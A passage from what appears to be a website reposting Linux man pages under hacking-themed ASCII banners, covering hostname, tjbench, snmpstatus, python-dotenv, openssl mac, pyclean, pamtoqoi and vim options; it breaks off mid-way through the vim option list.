Read the host name from the specified file. Comments (lines starting with a `#’) are ignored.

-i, –ip-address
Display the network address(es) of the host name. Note that this works only if the host name can be resolved. Avoid using this option; use hostname –all-ip-addresses instead.

-I, –all-ip-addresses
Display all network addresses of the host. This option enumerates all configured addresses on all network interfaces. The loopback interface and IPv6 link-local addresses are omitted. Contrary to option -i, this option does not depend on name resolution. Do not make any assumptions about the order of the output.

-s, –short
Display the short host name. This is the host name cut at the first dot.

-V, –version
Print version information on standard output and exit successfully.

-y, –yp, –nis
Display the NIS domain name. If a parameter is given (or –file name ) then root can also set a new NIS domain.

-h, –help
Print a usage message and exit.

NOTES

The address families hostname tries when looking up the FQDN, aliases and network addresses of the host are determined by the configuration of your resolver. For instance, on GNU Libc systems, the resolver can be instructed to try IPv6 lookups first by using the inet6 option in /etc/resolv.conf.

FILES

/etc/hostname Historically this file was supposed to only contain the hostname and not the full canonical FQDN. Nowadays most software is able to cope with a full FQDN here. This file is read at boot time by the system initialization scripts to set the hostname.

/etc/hosts Usually, this is where one sets the domain name by aliasing the host name to the FQDN.

AUTHORS

Peter Tobias, <[email protected]>
Bernd Eckenfels, <[email protected]> (NIS and manpage).
Michael Meskes, <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

475 - Linux cli command tjbench

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tjbench and provides detailed information about the command tjbench, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tjbench.

NAME 🖥️ tjbench 🖥️

benchmark the performance of libjpeg-turbo

DESCRIPTION

tjbench is a JPEG decompression/compression benchmark part of libjpeg-turbo.

USAGE

tjbench <Inputimage (BMP|PPM)> <Quality> [options]

tjbench <Inputimage (JPG)> [options]

OPTIONS

-alloc = Dynamically allocate JPEG buffers -bmp = Use Windows Bitmap format for output images [default = PPM] -bottomup = Use bottom-up row order for packed-pixel source/destination buffers -tile = Compress/transform the input image into separate JPEG tiles of varying

sizes (useful for measuring JPEG overhead)

-rgb, -bgr, -rgbx, -bgrx, -xbgr, -xrgb =

Use the specified pixel format for packed-pixel source/destination buffers [default = BGR]

-cmyk = Indirectly test YCCK JPEG compression/decompression

(use the CMYK pixel format for packed-pixel source/destination buffers)

-fastupsample = Use the fastest chrominance upsampling algorithm available -fastdct = Use the fastest DCT/IDCT algorithm available -accuratedct = Use the most accurate DCT/IDCT algorithm available -progressive = Use progressive entropy coding in JPEG images generated by

compression and transform operations

-subsamp <s> = When compressing, use the specified level of chrominance

subsampling (<s> = 444, 422, 440, 420, 411, or GRAY) [default = test Grayscale, 4:2:0, 4:2:2, and 4:4:4 in sequence]

-quiet = Output results in tabular rather than verbose format -yuv = Compress from/decompress to intermediate planar YUV images -yuvpad <p> = The number of bytes by which each row in each plane of an

intermediate YUV image is evenly divisible (must be a power of 2) [default = 1]

-scale M/N = When decompressing, scale the width/height of the JPEG image by a

factor of M/N (M/N = 2/1, 15/8, 7/4, 13/8, 3/2, 11/8, 5/4, 9/8, 1/1, 7/8, 3/4, 5/8, 1/2, 3/8, 1/4, or 1/8)

-hflip, -vflip, -transpose, -transverse, -rot90, -rot180, -rot270 =

Perform the specified lossless transform operation on the input image prior to decompression (these operations are mutually exclusive)

-grayscale = Transform the input image into a grayscale JPEG image prior to

decompression (can be combined with the other transform operations above)

-copynone = Do not copy any extra markers (including EXIF and ICC profile data)

when transforming the input image

-benchtime <t> = Run each benchmark for at least <t> seconds [default = 5.0] -warmup <t> = Run each benchmark for <t> seconds [default = 1.0] prior to

starting the timer, in order to prime the caches and thus improve the consistency of the benchmark results

-componly = Stop after running compression tests. Do not test decompression. -nowrite = Do not write reference or output images (improves consistency of

benchmark results)

-limitscans = Refuse to decompress or transform progressive JPEG images that

have an unreasonably large number of scans

-stoponwarning = Immediately discontinue the current

compression/decompression/transform operation if a warning (non-fatal error) occurs

NOTE: If the quality is specified as a range (e.g. 90-100), a separate test will be performed for all quality values in the range.

COMMENT

This manual page was written by Mathieu Malaterre <[email protected]> for the Debian GNU/Linux system, but may be used by others.

COPYRIGHT

Copyright (C)2009-2019, 2021 D. R. Commander. All Rights Reserved.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

476 - Linux cli command snmpstatus

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command snmpstatus and provides detailed information about the command snmpstatus, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the snmpstatus.

NAME 🖥️ snmpstatus 🖥️

retrieves a fixed set of management information from a network entity

SYNOPSIS

snmpstatus [COMMON OPTIONS] [-Cf] AGENT

DESCRIPTION

snmpstatus is an SNMP application that retrieves several important statistics from a network entity.

AGENT identifies a target SNMP agent, which is instrumented to monitor the given objects. At its simplest, the AGENT specification will consist of a hostname or an IPv4 address. In this situation, the command will attempt communication with the agent, using UDP/IPv4 to port 161 of the given target host.

See the snmpcmd(1) manual page for a full list of the possible formats for AGENT.

The information returned is:

The IP address of the entity.
A textual description of the entity (sysDescr.0)
The uptime of the entity’s SNMP agent (sysUpTime.0)
The sum of received packets on all interfaces (ifInUCastPkts.* + ifInNUCastPkts.*)
The sum of transmitted packets on all interfaces (ifOutUCastPkts.* + ifOutNUCastPkts.*)
The number of IP input packets (ipInReceives.0)
The number of IP output packets (ipOutRequests.0)

For example:

snmpstatus -c public -v 1 netdev-kbox.cc.cmu.edu

will produce output similar to the following:

[128.2.56.220]=>[Kinetics FastPath2] Up: 1 day, 4:43:31
Interfaces: 1, Recv/Trans packets: 262874/39867 | IP: 31603/15805

snmpstatus also checks the operational status of all interfaces (ifOperStatus.*), and if it finds any that are not running, it will report in a manner similar to this:

2 interfaces are down!

If the network entity has an error processing the request packet, an error packet will be returned and a message will be shown, helping to pinpoint in what way the request was malformed. snmpstatus will attempt to reform its request to eliminate the malformed variable (unless the -Cf option is given, see below), but this variable will then be missing from the displayed data.

OPTIONS

COMMON OPTIONS
Please see snmpcmd(1) for a list of possible values for COMMON OPTIONS as well as their descriptions.

-Cf
By default, snmpstatus will try to fix errors returned by the agent and retry a request. In this situation, the command will display the data that it can. If the -Cf option is specified, then snmpstatus will not try to fix errors, and the error will cause the command to terminate.

SEE ALSO

snmpcmd(1), snmpget(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

477 - Linux cli command python-dotenv

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command python-dotenv and provides detailed information about the command python-dotenv, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the python-dotenv.

NAME 🖥️ python-dotenv 🖥️

dotenv - .env file manipulator

SYNOPSIS

python-dotenv [OPTIONS] COMMAND [ARGS]…

DESCRIPTION

This script is used to set, get or unset values from a .env file.

OPTIONS

-f, –file PATH
Location of the .env file, defaults to .env file in current working directory.

-q, –quote [always|never|auto]
Whether to quote or not the variable values. Default mode is always. This does not affect parsing.

-e, –export BOOLEAN
Whether to write the dot file as an executable bash script.

–version
Show the version and exit.

–help
Show this message and exit.

Commands:

get
Retrieve the value for the given key.

list
Display all the stored key/value.

run
Run command with environment variables present.

set
Store the given key/value.

unset
Removes the given key.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

478 - Linux cli command openssl-macssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openssl-macssl and provides detailed information about the command openssl-macssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openssl-macssl.

NAME 🖥️ openssl-macssl 🖥️

mac - perform Message Authentication Code operations

SYNOPSIS

openssl mac [-help] [-cipher] [-digest] [-macopt] [-in filename] [-out filename] [-binary] [-provider name] [-provider-path path] [-propquery propq] mac_name

DESCRIPTION

The message authentication code functions output the MAC of a supplied input file.

OPTIONS

-help
Print a usage message.

-in filename
Input filename to calculate a MAC for, or standard input by default. Standard input is used if the filename is ‘-’. Files and standard input are expected to be in binary format.

-out filename
Filename to output to, or standard output by default.

-binary
Output the MAC in binary form. Uses hexadecimal text format if not specified.

-cipher name
Used by CMAC and GMAC to specify the cipher algorithm. For CMAC it should be a CBC mode cipher e.g. AES-128-CBC. For GMAC it should be a GCM mode cipher e.g. AES-128-GCM.

-digest name
Used by HMAC as an alphanumeric string (use if the key contains printable characters only). The string length must conform to any restrictions of the MAC algorithm. To see the list of supported digests, use openssl list -digest-commands.

-macopt nm:v
Passes options to the MAC algorithm. A comprehensive list of controls can be found in the EVP_MAC implementation documentation. Common parameter names used by EVP_MAC_CTX_get_params() are:

key:string
Specifies the MAC key as an alphanumeric string (use if the key contains printable characters only). The string length must conform to any restrictions of the MAC algorithm. A key must be specified for every MAC algorithm.

hexkey:string
Specifies the MAC key in hexadecimal form (two hex digits per byte). The key length must conform to any restrictions of the MAC algorithm. A key must be specified for every MAC algorithm.

iv:string
Used by GMAC to specify an IV as an alphanumeric string (use if the IV contains printable characters only).

hexiv:string
Used by GMAC to specify an IV in hexadecimal form (two hex digits per byte).

size:int
Used by KMAC128 or KMAC256 to specify an output length. The default sizes are 32 or 64 bytes respectively.

custom:string
Used by KMAC128 or KMAC256 to specify a customization string. The default is the empty string “”.

digest:string
This option is identical to the -digest option.

cipher:string
This option is identical to the -cipher option.

-provider name

-provider-path path

-propquery propq

See “Provider Options” in openssl (1), provider (7), and property (7).

mac_name
Specifies the name of a supported MAC algorithm which will be used. To see the list of supported MAC’s use the command openssl list -mac-algorithms.

EXAMPLES

To create a hex-encoded HMAC-SHA1 MAC of a file and write to stdout:

openssl mac -digest SHA1 \ -macopt hexkey:000102030405060708090A0B0C0D0E0F10111213 \ -in msg.bin HMAC

To create a SipHash MAC from a file with a binary file output:

openssl mac -macopt hexkey:000102030405060708090A0B0C0D0E0F \ -in msg.bin -out out.bin -binary SipHash

To create a hex-encoded CMAC-AES-128-CBC MAC from a file:

openssl mac -cipher AES-128-CBC \ -macopt hexkey:77A77FAF290C1FA30C683DF16BA7A77B \ -in msg.bin CMAC

To create a hex-encoded KMAC128 MAC from a file with a Customisation String ‘Tag’ and output length of 16:

openssl mac -macopt custom:Tag -macopt hexkey:40414243444546 \ -macopt size:16 -in msg.bin KMAC128

To create a hex-encoded GMAC-AES-128-GCM with a IV from a file:

openssl mac -cipher AES-128-GCM -macopt hexiv:E0E00F19FED7BA0136A797F3 \ -macopt hexkey:77A77FAF290C1FA30C683DF16BA7A77B -in msg.bin GMAC

NOTES

The MAC mechanisms that are available will depend on the options used when building OpenSSL. Use openssl list -mac-algorithms to list them.

SEE ALSO

openssl (1), EVP_MAC (3), EVP_MAC-CMAC (7), EVP_MAC-GMAC (7), EVP_MAC-HMAC (7), EVP_MAC-KMAC (7), EVP_MAC-Siphash (7), EVP_MAC-Poly1305 (7)

COPYRIGHT

Copyright 2018-2024 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

479 - Linux cli command pyclean

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pyclean and provides detailed information about the command pyclean, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pyclean.

NAME 🖥️ pyclean 🖥️

removes .pyc and .pyo files

SYNOPSIS

pyclean [-p PACKAGE | DIR_OR_FILE]

OPTIONS

–version
show program’s version number and exit

-h, –help
show this help message and exit

-v, –verbose
turn verbose more one

-q, –quiet
be quiet

-p* PACKAGE,*** –package**=****PACKAGE
specify Debian package name to clean (combining with DIR_OR_FILE will additionally limit list of files)

AUTHOR

Piotr Ożarowski, 2012-201

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

480 - Linux cli command pamtoqoi

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamtoqoi and provides detailed information about the command pamtoqoi, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamtoqoi.

.

NAME 🖥️ pamtoqoi 🖥️

Convert Netpbm image to QOI format (Quite OK Image format)

SYNOPSIS

pamtoqoi [pnmfile]

All options can be abbreviated to their shortest unique prefix. You may use two hyphens instead of one. You may separate an option name and its value with white space instead of an equals sign.

DESCRIPTION

This program is part of Netpbm(1) .

pamtoqoi reads a Netpbm image from standard input and converts it to a QOI image written to standard output.

For the QOI specification and details, see the QOI web site .

Use qoitopam(1) to convert a QOI image to Netpbm format.

Input is from Standard Input if you don’t specify the input file pnmfile.

OPTIONS

The only options are those common to all programs based on libnetpbm (most notably -quiet, see Common Options ).

SEE ALSO

qoitopam(1) , pam(1)

HISTORY

pamtoqoi was new in Netpbm 10.99 (June 2022).

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamtoqoi.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

481 - Linux cli command rgvim

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rgvim and provides detailed information about the command rgvim, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rgvim.

NAME 🖥️ rgvim 🖥️

Vi IMproved, a programmer’s text editor

SYNOPSIS

vim [options] [file ..]
vim [options] -
vim [options] -t tag
vim [options] -q [errorfile]

ex
view
gvim gview evim eview
rvim rview rgvim rgview

DESCRIPTION

Vim is a text editor that is upwards compatible to Vi. It can be used to edit all kinds of plain text. It is especially useful for editing programs.

There are a lot of enhancements above Vi: multi level undo, multi windows and buffers, syntax highlighting, command line editing, filename completion, on-line help, visual selection, etc.. See “:help vi_diff.txt” for a summary of the differences between Vim and Vi.

While running Vim a lot of help can be obtained from the on-line help system, with the “:help” command. See the ON-LINE HELP section below.

Most often Vim is started to edit a single file with the command

vim file

More generally Vim is started with:

vim [options] [filelist]

If the filelist is missing, the editor will start with an empty buffer. Otherwise exactly one out of the following four may be used to choose one or more files to be edited.

file ..
A list of filenames. The first one will be the current file and read into the buffer. The cursor will be positioned on the first line of the buffer. You can get to the other files with the “:next” command. To edit a file that starts with a dash, precede the filelist with “–”.

-
The file to edit is read from stdin. Commands are read from stderr, which should be a tty.

-t {tag}
The file to edit and the initial cursor position depends on a “tag”, a sort of goto label. {tag} is looked up in the tags file, the associated file becomes the current file and the associated command is executed. Mostly this is used for C programs, in which case {tag} could be a function name. The effect is that the file containing that function becomes the current file and the cursor is positioned on the start of the function. See “:help tag-commands”.

-q [errorfile]
Start in quickFix mode. The file [errorfile] is read and the first error is displayed. If [errorfile] is omitted, the filename is obtained from the ’errorfile’ option (defaults to “AztecC.Err” for the Amiga, “errors.err” on other systems). Further errors can be jumped to with the “:cn” command. See “:help quickfix”.

Vim behaves differently, depending on the name of the command (the executable may still be the same file).

vim
The “normal” way, everything is default.

ex
Start in Ex mode. Go to Normal mode with the “:vi” command. Can also be done with the “-e” argument.

view
Start in read-only mode. You will be protected from writing the files. Can also be done with the “-R” argument.

gvim gview
The GUI version. Starts a new window. Can also be done with the “-g” argument.

evim eview
The GUI version in easy mode. Starts a new window. Can also be done with the “-y” argument.

rvim rview rgvim rgview
Like the above, but with restrictions. It will not be possible to start shell commands, or suspend Vim. Can also be done with the “-Z” argument.

OPTIONS

The options may be given in any order, before or after filenames. Options without an argument can be combined after a single dash.

+[num]
For the first file the cursor will be positioned on line “num”. If “num” is missing, the cursor will be positioned on the last line.

+/{pat}
For the first file the cursor will be positioned in the line with the first occurrence of {pat}. See “:help search-pattern” for the available search patterns.

+{command}
-c {command}
{command} will be executed after the first file has been read. {command} is interpreted as an Ex command. If the {command} contains spaces it must be enclosed in double quotes (this depends on the shell that is used). Example: vim “+set si” main.c
Note: You can use up to 10 “+” or “-c” commands.

-S {file}
{file} will be sourced after the first file has been read. This is equivalent to -c “source {file}”. {file} cannot start with ‘-’. If {file} is omitted “Session.vim” is used (only works when -S is the last argument).

–cmd {command}
Like using “-c”, but the command is executed just before processing any vimrc file. You can use up to 10 of these commands, independently from “-c” commands.

-A
If Vim has been compiled with ARABIC support for editing right-to-left oriented files and Arabic keyboard mapping, this option starts Vim in Arabic mode, i.e. ‘arabic’ is set. Otherwise an error message is given and Vim aborts.

-b
Binary mode. A few options will be set that makes it possible to edit a binary or executable file.

-C
Compatible. Set the ‘compatible’ option. This will make Vim behave mostly like Vi, even though a .vimrc file exists.

-d
Start in diff mode. There should between two to eight file name arguments. Vim will open all the files and show differences between them. Works like vimdiff(1).

-d {device}, -dev {device}
Open {device} for use as a terminal. Only on the Amiga. Example: “-d con:20/30/600/150”.

-D
Debugging. Go to debugging mode when executing the first command from a script.

-e
Start Vim in Ex mode, just like the executable was called “ex”.

-E
Start Vim in improved Ex mode, just like the executable was called “exim”.

-f
Foreground. For the GUI version, Vim will not fork and detach from the shell it was started in. On the Amiga, Vim is not restarted to open a new window. This option should be used when Vim is executed by a program that will wait for the edit session to finish (e.g. mail). On the Amiga the “:sh” and “:!” commands will not work.

–nofork
Foreground. For the GUI version, Vim will not fork and detach from the shell it was started in.

-F
If Vim has been compiled with FKMAP support for editing right-to-left oriented files and Farsi keyboard mapping, this option starts Vim in Farsi mode, i.e. ‘fkmap’ and ‘rightleft’ are set. Otherwise an error message is given and Vim aborts.

-g
If Vim has been compiled with GUI support, this option enables the GUI. If no GUI support was compiled in, an error message is given and Vim aborts.

–gui-dialog-file {name}
When using the GUI, instead of showing a dialog, write the title and message of the dialog to file {name}. The file is created or appended to. Only useful for testing, to avoid that the test gets stuck on a dialog that can’t be seen. Without the GUI the argument is ignored.

–help, -h, -?
Give a bit of help about the command line arguments and options. After this Vim exits.

-H
If Vim has been compiled with RIGHTLEFT support for editing right-to-left oriented files and Hebrew keyboard mapping, this option starts Vim in Hebrew mode, i.e. ‘hkmap’ and ‘rightleft’ are set. Otherwise an error message is given and Vim aborts.

-i {viminfo}
Specifies the filename to use when reading or writing the viminfo file, instead of the default “~/.viminfo”. This can also be used to skip the use of the .viminfo file, by giving the name “NONE”.

-L
Same as -r.

-l
Lisp mode. Sets the ’lisp’ and ‘showmatch’ options on.

-m
Modifying files is disabled. Resets the ‘write’ option. You can still modify the buffer, but writing a file is not possible.

-M
Modifications not allowed. The ‘modifiable’ and ‘write’ options will be unset, so that changes are not allowed and files can not be written. Note that these options can be set to enable making modifications.

-N
No-compatible mode. Resets the ‘compatible’ option. This will make Vim behave a bit better, but less Vi compatible, even though a .vimrc file does not exist.

-n
No swap file will be used. Recovery after a crash will be impossible. Handy if you want to edit a file on a very slow medium (e.g. floppy). Can also be done with “:set uc=0”. Can be undone with “:set uc=200”.

-nb
Become an editor server for NetBeans. See the docs for details.

-o[N]
Open N windows stacked. When N is omitted, open one window for each file.

-O[N]
Open N windows side by side. When N is omitted, open one window for each file.

-p[N]
Open N tab pages. When N is omitted, open one tab page for each file.

-P {parent-title}
Win32 GUI only: Specify the title of the parent application. When possible, Vim will run in an MDI window inside the application. {parent-title} must appear in the window title of the parent application. Make sure that it is specific enough. Note that the implementation is still primitive. It won’t work with all applications and the menu doesn’t work.

-R
Read-only mode. The ‘readonly’ option will be set. You can still edit the buffer, but will be prevented from accidentally overwriting a file. If you do want to overwrite a file, add an exclamation mark to the Ex command, as in “:w!”. The -R option also implies the -n option (see above). The ‘readonly’ option can be reset with “:set noro”. See “:help ‘readonly’”.

-r
List swap files, with information about using them for recovery.

-r {file}
Recovery mode. The swap file is used to recover a crashed editing session. The swap file is a file with the same filename as the text file with “.swp” appended. See “:help recovery”.

-s
Silent mode. Only when started as “Ex” or when the “-e” option was given before the “-s” option.

-s {scriptin}
The script file {scriptin} is read. The characters in the file are interpreted as if you had typed them. The same can be done with the command “:source! {scriptin}”. If the end of the file is reached before the editor exits, further characters are read from the keyboard.

-T {terminal}
Tells Vim the name of the terminal you are using. Only required when the automatic way doesn’t work. Should be a terminal known to Vim (builtin) or defined in the termcap or terminfo file.

–not-a-term
Tells Vim that the user knows that the input and/or output is not connected to a terminal. This will avoid the warning and the two second delay that would happen.

–ttyfail
When stdin or stdout is not a a terminal (tty) then exit right away.

-u {vimrc}
Use the commands in the file {vimrc} for initializations. All the other initializations are skipped. Use this to edit a special kind of files. It can also be used to skip all initializations by giving the name “NONE”. See “:help initialization” within vim for more details.

-U {gvimrc}
Use the commands in the file {gvimrc} for GUI initializations. All the other GUI initializations are skipped. It can also be used to skip all GUI initializations by giving the name “NONE”. See “:help gui-init” within vim for more details.

-V[N]
Verbose. Give messages about which files are sourced and for reading and writing a viminfo file. The optional number N is the value for ‘verbose’. Default is 10.

-V[N]{filename}
Like -V and set ‘verbosefile’ to {filename}. The result is that messages are not displayed but written to the file {filename}. {filename} must not start with a digit.

–log {filename}
If Vim has been compiled with eval and channel feature, start logging and write entries to {filename}. This works like calling ch_logfile({filename}, ‘ao’) very early during startup.

-v
Start Vim in Vi mode, just like the executable was called “vi”. This only has effect when the executable is called “ex”.

-w{number}
Set the ‘window’ option to {number}.

-w {scriptout}
All the characters that you type are recorded in the file {scriptout}, until you exit Vim. This is useful if you want to create a script file to be used with “vim -s” or “:source!”. If the {scriptout} file exists, characters are appended.

-W {scriptout}
Like -w, but an existing file is overwritten.

-x
Use encryption when writing files. Will prompt for a crypt key.

-X
Don’t connect to the X server. Shortens startup time in a terminal, but the window title and clipboard will not be used.

-y
Start Vim in easy mode, just like the executable was called “evim” or “eview”. Makes Vim behave like a click-and-type editor.

-Z
Restricted mode. Works like the executable starts with “r”.


Denotes the end of the options. Arguments after this will be handled as a file name. This can be used to edit a filename that starts with a ‘-’.

–clean
Do not use any personal configuration (vimrc, plugins, etc.). Useful to see if a problem reproduces with a clean Vim setup.

–echo-wid
GTK GUI only: Echo the Window ID on stdout.

–literal
Take file name arguments literally, do not expand wildcards. This has no effect on Unix where the shell expands wildcards.

–noplugin
Skip loading plugins. Implied by -u NONE.

–remote
Connect to a Vim server and make it edit the files given in the rest of the arguments. If no server is found a warning is given and the files are edited in the current Vim.

–remote-expr {expr}
Connect to a Vim server, evaluate {expr} in it and print the result on stdout.

–remote-send {keys}
Connect to a Vim server and send {keys} to it.

–remote-silent
As –remote, but without the warning when no server is found.

–remote-wait
As –remote, but Vim does not exit until the files have been edited.

–remote-wait-silent
As –remote-wait, but without the warning when no server is found.

–serverlist
List the names of all Vim servers that can be found.

–servername {name}
Use {name} as the server name. Used for the current Vim, unless used with a –remote argument, then it’s the name of the server to connect to.

–socketid {id}
GTK GUI only: Use the GtkPlug mechanism to run gvim in another window.

–startuptime {file}
